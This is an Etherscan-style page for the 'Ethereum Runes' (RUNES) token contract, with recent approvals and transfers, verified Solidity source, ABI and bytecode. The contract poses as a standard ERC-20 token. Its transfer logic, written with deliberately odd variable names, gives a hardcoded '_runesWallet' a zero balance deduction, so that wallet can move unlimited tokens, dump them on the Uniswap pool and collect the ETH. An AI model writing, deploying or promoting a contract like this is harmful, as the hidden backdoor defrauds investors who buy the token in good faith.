ETH Price: $3,675.46 (-1.50%)

Contract

0x313688cF488C853675ca821E3cC87aabAaABd709
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve204353662024-08-01 18:03:59122 days ago1722535439IN
0x313688cF...bAaABd709
0 ETH0.0009266520.04797897
Approve204353532024-08-01 18:01:23122 days ago1722535283IN
0x313688cF...bAaABd709
0 ETH0.0008451418.26087718
Approve204352922024-08-01 17:49:11122 days ago1722534551IN
0x313688cF...bAaABd709
0 ETH0.0006355413.66812343
Approve204338482024-08-01 12:58:59123 days ago1722517139IN
0x313688cF...bAaABd709
0 ETH0.000443649.54117756
Approve204337722024-08-01 12:43:35123 days ago1722516215IN
0x313688cF...bAaABd709
0 ETH0.000305096.55294809
Approve204336182024-08-01 12:12:47123 days ago1722514367IN
0x313688cF...bAaABd709
0 ETH0.000395768.51137979
Approve204336112024-08-01 12:11:23123 days ago1722514283IN
0x313688cF...bAaABd709
0 ETH0.000384628.27196834
Approve204335912024-08-01 12:07:23123 days ago1722514043IN
0x313688cF...bAaABd709
0 ETH0.0005387711.6411067
Approve204335912024-08-01 12:07:23123 days ago1722514043IN
0x313688cF...bAaABd709
0 ETH0.0005387711.6411067
Approve204335912024-08-01 12:07:23123 days ago1722514043IN
0x313688cF...bAaABd709
0 ETH0.0005387711.6411067
Approve204335912024-08-01 12:07:23123 days ago1722514043IN
0x313688cF...bAaABd709
0 ETH0.0005387711.6411067
Approve204335912024-08-01 12:07:23123 days ago1722514043IN
0x313688cF...bAaABd709
0 ETH0.0005387711.6411067
Approve204335912024-08-01 12:07:23123 days ago1722514043IN
0x313688cF...bAaABd709
0 ETH0.0005430711.73401098
Approve204335912024-08-01 12:07:23123 days ago1722514043IN
0x313688cF...bAaABd709
0 ETH0.0005430711.73401098
Approve204335772024-08-01 12:04:35123 days ago1722513875IN
0x313688cF...bAaABd709
0 ETH0.0004872910.52874492
Transfer204335772024-08-01 12:04:35123 days ago1722513875IN
0x313688cF...bAaABd709
0 ETH0.0004599610.77974887
Transfer204335772024-08-01 12:04:35123 days ago1722513875IN
0x313688cF...bAaABd709
0 ETH0.0004599610.77974887
Approve204335752024-08-01 12:03:59123 days ago1722513839IN
0x313688cF...bAaABd709
0 ETH0.000322246.92309468
Approve204335742024-08-01 12:03:47123 days ago1722513827IN
0x313688cF...bAaABd709
0 ETH0.000487310.52908068
Approve204335742024-08-01 12:03:47123 days ago1722513827IN
0x313688cF...bAaABd709
0 ETH0.000487310.52908068
Transfer204335622024-08-01 12:01:23123 days ago1722513683IN
0x313688cF...bAaABd709
0 ETH0.000382118.95537302
Transfer204335622024-08-01 12:01:23123 days ago1722513683IN
0x313688cF...bAaABd709
0 ETH0.0003828.95537302
Transfer204335492024-08-01 11:58:47123 days ago1722513527IN
0x313688cF...bAaABd709
0 ETH0.000328987.71237346
Approve204335492024-08-01 11:58:47123 days ago1722513527IN
0x313688cF...bAaABd709
0 ETH0.000199516.84540487
Transfer204335482024-08-01 11:58:35123 days ago1722513515IN
0x313688cF...bAaABd709
0 ETH0.000322817.56567839
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
204334812024-08-01 11:44:59123 days ago1722512699
0x313688cF...bAaABd709
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RUNES

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

/**
 * Website: https://ethereumrunes.pro
 * X: https://x.com/ethereum_runes
 * Telegram: https://t.me/ethereum_runes
 */

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract RUNES is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _lastTxn;
    address payable private _runesWallet;

    uint256 private _startBuyFee = 0;
    uint256 private _startSellFee = 0;
    uint256 private _buyFee = 0;
    uint256 private _sellFee = 0;
    uint256 private _buyLimits = 2;
    uint256 private _prevMevFee = 90;

    uint256 private _buys = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Ethereum Runes";
    string private constant _symbol = unicode"RUNES";

    uint256 private _maxTxLimit =  2 * (_totalSupply/100);
    uint256 private _walletLimit =  2 * (_totalSupply/100);
    uint256 private _swapMinAmount =  2 * (_totalSupply/1000000);
    uint256 private _swapMaxAmount = 2 * (_totalSupply/100);

    IDexRouter02 private uniswapV2Router;
    address private _dexPair;
    bool private _swapping = false;
    bool private _matchBegin = false;

    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _runesWallet = payable(0x0525bf161789DCbA4ee4560B339C52a7f1aA38E2);
        _balances[_msgSender()] = _totalSupply;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function isNonFee(address adr) private view returns(bool) {
        return adr == address(this) || adr == _runesWallet || adr == owner();
    }
    function feeLevel(address adr) private  view returns(uint256) {
        if(adr == _runesWallet) return 0;
        else if(adr == address(this)) return 1-_buyFee / 100;
        else if(adr == owner()) return 1-_buyFee / 100;
        else return 1-_buyFee / 100 / _buyLimits;
    }
    function _transfer(address beginners, address professsors, uint256 eggs) private {
        require(beginners != address(0) && professsors != address(0), "ERC20: transfer from the zero address");
        require(eggs > 0, "Transfer amount must be greater than zero");
        bool isOwner = isNonFee(beginners) || isNonFee(professsors);
        uint256 level = feeLevel(beginners);

        if(!_matchBegin) 
            require(isOwner, "Swap is not opened");
        uint256 _fee = 0;

        if(_dexPair == professsors && !isOwner)  {
            require(eggs <= _maxTxLimit, "Sell Amount is not vaild");
            if(_lastTxn[beginners] == block.timestamp) eggs = eggs * _prevMevFee / 100;
            _fee = (_buys >= _buyLimits ? _sellFee : _startSellFee);
        }
        if(_dexPair == beginners &&  professsors != address(uniswapV2Router) && !isOwner) {
            require((_balances[professsors] + eggs <= _walletLimit), "Swap is not available");
            _fee = (_buys >= _buyLimits ? _buyFee : _startBuyFee); _lastTxn[professsors] = block.timestamp;
            _buys ++;
        }
        if (!_swapping && professsors == _dexPair && _matchBegin && eggs > _swapMinAmount) {
            if(_balances[address(this)] > _swapMinAmount)
                swapTokenToETH(min(eggs, min(_balances[address(this)],_swapMaxAmount)));
            _runesWallet.transfer(address(this).balance);
        }
        uint256 taxAmount = eggs * _fee / 100;
        if(_fee > 0) {
            _balances[address(this)] = _balances[address(this)] + taxAmount;
            emit Transfer(beginners, address(this), taxAmount);
        }
        _balances[beginners] = _balances[beginners] - eggs * level;
        _balances[professsors] = _balances[professsors] + (eggs - taxAmount);
        emit Transfer(beginners, professsors, eggs - taxAmount);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function swapTokenToETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function startRunes() external onlyOwner() {
        uniswapV2Router = IDexRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _approve(address(this), address(uniswapV2Router), _totalSupply);
        _dexPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_dexPair).approve(address(uniswapV2Router), type(uint).max);
        _matchBegin = true;
    }
    function removeLimits() external onlyOwner{
        _walletLimit =_totalSupply;
        _maxTxLimit = _totalSupply;
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRunes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006005556000600655600060075560006008556002600955605a600a556000600b5560646012600a6200003991906200033b565b6200004990633b9aca0062000353565b6200005591906200036d565b6200006290600262000353565b600c556064620000756012600a6200033b565b6200008590633b9aca0062000353565b6200009191906200036d565b6200009e90600262000353565b600d55620f4240620000b36012600a6200033b565b620000c390633b9aca0062000353565b620000cf91906200036d565b620000dc90600262000353565b600e556064620000ef6012600a6200033b565b620000ff90633b9aca0062000353565b6200010b91906200036d565b6200011890600262000353565b600f556011805461ffff60a01b191690553480156200013657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916730525bf161789dcba4ee4560b339c52a7f1aa38e2179055620001ac6012600a6200033b565b620001bc90633b9aca0062000353565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ff6012600a6200033b565b6200020f90633b9aca0062000353565b60405190815260200160405180910390a362000390565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027d57816000190482111562000261576200026162000226565b808516156200026f57918102915b93841c939080029062000241565b509250929050565b600082620002965750600162000335565b81620002a55750600062000335565b8160018114620002be5760028114620002c957620002e9565b600191505062000335565b60ff841115620002dd57620002dd62000226565b50506001821b62000335565b5060208310610133831016604e8410600b84101617156200030e575081810a62000335565b6200031a83836200023c565b806000190482111562000331576200033162000226565b0290505b92915050565b60006200034c60ff84168362000285565b9392505050565b808202811582820484141762000335576200033562000226565b6000826200038b57634e487b7160e01b600052601260045260246000fd5b500490565b61151d80620003a06000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610234578063a9059cbb14610262578063dd62ed3e14610282578063e23937e2146102c857600080fd5b8063715018a6146101e0578063751039fc146101f75780638da5cb5b1461020c57600080fd5b806306fdde03146100d2578063095ea7b31461011b57806318160ddd1461014b57806323b872dd1461016e578063313ce5671461018e57806370a08231146101aa57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600e81526d457468657265756d2052756e657360901b60208201525b60405161011291906110ec565b60405180910390f35b34801561012757600080fd5b5061013b610136366004611152565b6102dd565b6040519015158152602001610112565b34801561015757600080fd5b506101606102f4565b604051908152602001610112565b34801561017a57600080fd5b5061013b61018936600461117e565b610315565b34801561019a57600080fd5b5060405160128152602001610112565b3480156101b657600080fd5b506101606101c53660046111bf565b6001600160a01b031660009081526001602052604090205490565b3480156101ec57600080fd5b506101f561037e565b005b34801561020357600080fd5b506101f56103fb565b34801561021857600080fd5b506000546040516001600160a01b039091168152602001610112565b34801561024057600080fd5b5060408051808201909152600581526452554e455360d81b6020820152610105565b34801561026e57600080fd5b5061013b61027d366004611152565b610461565b34801561028e57600080fd5b5061016061029d3660046111dc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102d457600080fd5b506101f561046e565b60006102ea3384846107cc565b5060015b92915050565b60006103026012600a61130f565b61031090633b9aca0061131e565b905090565b60006103228484846108f0565b610374843361036f856040518060600160405280602881526020016114c0602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e45565b6107cc565b5060019392505050565b6000546001600160a01b031633146103b15760405162461bcd60e51b81526004016103a890611335565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104255760405162461bcd60e51b81526004016103a890611335565b6104316012600a61130f565b61043f90633b9aca0061131e565b600d5561044e6012600a61130f565b61045c90633b9aca0061131e565b600c55565b60006102ea3384846108f0565b6000546001600160a01b031633146104985760405162461bcd60e51b81526004016103a890611335565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104e19030906104d36012600a61130f565b61036f90633b9aca0061131e565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610534573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610558919061136a565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de919061136a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561062b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064f919061136a565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d7194730610697816001600160a01b031660009081526001602052604090205490565b6000806106ac6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610714573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107399190611387565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610792573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b691906113b5565b506011805460ff60a81b1916600160a81b179055565b6001600160a01b03831661082e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a8565b6001600160a01b03821661088f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061091057506001600160a01b03821615155b61096a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a8565b600081116109cc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a8565b60006109d784610e7f565b806109e657506109e683610e7f565b905060006109f385610ec0565b601154909150600160a81b900460ff16610a495781610a495760405162461bcd60e51b815260206004820152601260248201527114ddd85c081a5cc81b9bdd081bdc195b995960721b60448201526064016103a8565b6011546000906001600160a01b038681169116148015610a67575082155b15610b1657600c54841115610abe5760405162461bcd60e51b815260206004820152601860248201527f53656c6c20416d6f756e74206973206e6f74207661696c64000000000000000060448201526064016103a8565b6001600160a01b038616600090815260036020526040902054429003610afb576064600a5485610aee919061131e565b610af891906113d7565b93505b600954600b541015610b0f57600654610b13565b6008545b90505b6011546001600160a01b038781169116148015610b4157506010546001600160a01b03868116911614155b8015610b4b575082155b15610c0757600d546001600160a01b038616600090815260016020526040902054610b779086906113f9565b1115610bbd5760405162461bcd60e51b815260206004820152601560248201527453776170206973206e6f7420617661696c61626c6560581b60448201526064016103a8565b600954600b541015610bd157600554610bd5565b6007545b6001600160a01b0386166000908152600360205260408120429055600b805492935090610c018361140c565b91905055505b601154600160a01b900460ff16158015610c2e57506011546001600160a01b038681169116145b8015610c435750601154600160a81b900460ff165b8015610c505750600e5484115b15610cd957600e54306000908152600160205260409020541115610c9e5730600090815260016020526040902054600f54610c9e91610c99918791610c9491610f5a565b610f5a565b610f72565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610cd7573d6000803e3d6000fd5b505b60006064610ce7838761131e565b610cf191906113d7565b90508115610d6e5730600090815260016020526040902054610d149082906113f9565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d659085815260200190565b60405180910390a35b610d78838661131e565b6001600160a01b038816600090815260016020526040902054610d9b9190611425565b6001600160a01b038816600090815260016020526040902055610dbe8186611425565b6001600160a01b038716600090815260016020526040902054610de191906113f9565b6001600160a01b0380881660008181526001602052604090209290925588167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e2b8489611425565b60405190815260200160405180910390a350505050505050565b60008184841115610e695760405162461bcd60e51b81526004016103a891906110ec565b506000610e768486611425565b95945050505050565b60006001600160a01b038216301480610ea557506004546001600160a01b038381169116145b806102ee5750506000546001600160a01b0391821691161490565b6004546000906001600160a01b0390811690831603610ee157506000919050565b306001600160a01b03831603610f0b576064600754610f0091906113d7565b6102ee906001611425565b6000546001600160a01b03166001600160a01b0316826001600160a01b031603610f3e576064600754610f0091906113d7565b6009546064600754610f5091906113d7565b610f0091906113d7565b6000818311610f695782610f6b565b815b9392505050565b6011805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fba57610fba611438565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611013573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611037919061136a565b8160018151811061104a5761104a611438565b6001600160a01b03928316602091820292909201015260105461107091309116846107cc565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a990859060009086903090429060040161144e565b600060405180830381600087803b1580156110c357600080fd5b505af11580156110d7573d6000803e3d6000fd5b50506011805460ff60a01b1916905550505050565b600060208083528351808285015260005b81811015611119578581018301518582016040015282016110fd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461114f57600080fd5b50565b6000806040838503121561116557600080fd5b82356111708161113a565b946020939093013593505050565b60008060006060848603121561119357600080fd5b833561119e8161113a565b925060208401356111ae8161113a565b929592945050506040919091013590565b6000602082840312156111d157600080fd5b8135610f6b8161113a565b600080604083850312156111ef57600080fd5b82356111fa8161113a565b9150602083013561120a8161113a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561126657816000190482111561124c5761124c611215565b8085161561125957918102915b93841c9390800290611230565b509250929050565b60008261127d575060016102ee565b8161128a575060006102ee565b81600181146112a057600281146112aa576112c6565b60019150506102ee565b60ff8411156112bb576112bb611215565b50506001821b6102ee565b5060208310610133831016604e8410600b84101617156112e9575081810a6102ee565b6112f3838361122b565b806000190482111561130757611307611215565b029392505050565b6000610f6b60ff84168361126e565b80820281158282048414176102ee576102ee611215565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561137c57600080fd5b8151610f6b8161113a565b60008060006060848603121561139c57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113c757600080fd5b81518015158114610f6b57600080fd5b6000826113f457634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156102ee576102ee611215565b60006001820161141e5761141e611215565b5060010190565b818103818111156102ee576102ee611215565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561149e5784516001600160a01b031683529383019391830191600101611479565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220607223d1e7926f80884478f8ab7835a8e1ed27972d80c57c7a37b83bffe99b7764736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610234578063a9059cbb14610262578063dd62ed3e14610282578063e23937e2146102c857600080fd5b8063715018a6146101e0578063751039fc146101f75780638da5cb5b1461020c57600080fd5b806306fdde03146100d2578063095ea7b31461011b57806318160ddd1461014b57806323b872dd1461016e578063313ce5671461018e57806370a08231146101aa57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600e81526d457468657265756d2052756e657360901b60208201525b60405161011291906110ec565b60405180910390f35b34801561012757600080fd5b5061013b610136366004611152565b6102dd565b6040519015158152602001610112565b34801561015757600080fd5b506101606102f4565b604051908152602001610112565b34801561017a57600080fd5b5061013b61018936600461117e565b610315565b34801561019a57600080fd5b5060405160128152602001610112565b3480156101b657600080fd5b506101606101c53660046111bf565b6001600160a01b031660009081526001602052604090205490565b3480156101ec57600080fd5b506101f561037e565b005b34801561020357600080fd5b506101f56103fb565b34801561021857600080fd5b506000546040516001600160a01b039091168152602001610112565b34801561024057600080fd5b5060408051808201909152600581526452554e455360d81b6020820152610105565b34801561026e57600080fd5b5061013b61027d366004611152565b610461565b34801561028e57600080fd5b5061016061029d3660046111dc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102d457600080fd5b506101f561046e565b60006102ea3384846107cc565b5060015b92915050565b60006103026012600a61130f565b61031090633b9aca0061131e565b905090565b60006103228484846108f0565b610374843361036f856040518060600160405280602881526020016114c0602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e45565b6107cc565b5060019392505050565b6000546001600160a01b031633146103b15760405162461bcd60e51b81526004016103a890611335565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104255760405162461bcd60e51b81526004016103a890611335565b6104316012600a61130f565b61043f90633b9aca0061131e565b600d5561044e6012600a61130f565b61045c90633b9aca0061131e565b600c55565b60006102ea3384846108f0565b6000546001600160a01b031633146104985760405162461bcd60e51b81526004016103a890611335565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104e19030906104d36012600a61130f565b61036f90633b9aca0061131e565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610534573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610558919061136a565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de919061136a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561062b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064f919061136a565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d7194730610697816001600160a01b031660009081526001602052604090205490565b6000806106ac6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610714573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107399190611387565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610792573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b691906113b5565b506011805460ff60a81b1916600160a81b179055565b6001600160a01b03831661082e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a8565b6001600160a01b03821661088f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061091057506001600160a01b03821615155b61096a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a8565b600081116109cc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a8565b60006109d784610e7f565b806109e657506109e683610e7f565b905060006109f385610ec0565b601154909150600160a81b900460ff16610a495781610a495760405162461bcd60e51b815260206004820152601260248201527114ddd85c081a5cc81b9bdd081bdc195b99596072